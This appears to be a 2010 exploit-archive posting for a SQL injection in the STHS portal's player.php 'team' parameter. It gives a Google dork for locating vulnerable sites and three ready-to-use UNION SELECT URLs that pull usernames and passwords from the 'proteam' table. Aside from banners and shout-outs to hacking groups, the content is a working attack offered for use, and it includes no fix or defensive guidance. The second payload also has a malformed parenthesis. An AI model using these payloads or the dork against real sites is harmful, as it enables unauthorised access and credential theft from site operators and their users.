STHS portal SQL Injection Vulnerability

=======================================
STHS portal SQL Injection Vulnerability 
=======================================


# Exploit Title: STHS portal SQLi
# Date: 2010/06/27
# Author: Virus Root
# Software Link: Note found
# Version: v1 and v2
# Commend : Dorks Only For inj3ct0r.com
# GooGle Dork : Site powered by SIMHL.net
# Platform / Tested on: Windows
# Category:  webapps/0day 
# Code : 
+------------------------Begin-of-Code---------------------------------+

1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0                          
0     _                   __           __       __                     1
1   /' \            __  /'__`\        /\ \__  /'__`\                   0
0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
1                  \ \____/ >> Exploit database separated by exploit   0
0                   \/___/          type (local, remote, DoS, etc.)    1
1                                                                      0
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-1

|| || | ||
o_,_7 _|| . _o_7 _|| 4_|_|| o_w_,
( : / (_) / ( 


+-----------------------------------------------------------------------+
Content:[email protected]
+-----------------------------------------------------------------------+
+--------------------How it Work----------------------------------+
Vlun File is player.php

using GET method ($_GET[team])

player.php?team=
+--------------------------End-----------------------------------------+
+-------------------------Exploit--------------------------------------+
There is 3 Exploit
1.
http://localhost/Dir/player.php?team=20 and 1=2 Union SelEct 1,concat_ws(0x3e,username,password),3,4,5,6,7,8,9,10,11,12,13+from+proteam
2.
http://localhost/Dir/player.php?team=20 and 1=2 Union SelEct 1,2,3,4,concat_ws(0x3e,username,password,6,7,8,9,10,11,12,13+from+proteam
3. (Find username and password in the source)
http://localhost/Dir/player.php?team=20 and 1=2 Union SelEct 1,2,3,4,5,6,7,concat_ws(0x3e,username,password),9,10,11,12,13+from+proteam
+-----------------------------End---------------------------------------+
Greatz ~./inj3ct0r.com , v4-team.com .
Friends ~./Ghost Hacker , Modamer Hacker , Sn!pEr.S!Te , Kasper-Boy , And all Thet a forget to write his name .
+----------------------End-of-Code-----------------------------------+



#  0day.today [2018-03-13]  #